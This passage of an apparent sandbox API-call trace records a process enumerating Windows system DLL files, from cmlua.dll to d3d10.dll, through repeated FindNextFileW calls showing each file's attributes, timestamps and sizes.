ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0165.689] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="console.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0165.690] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0165.691] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 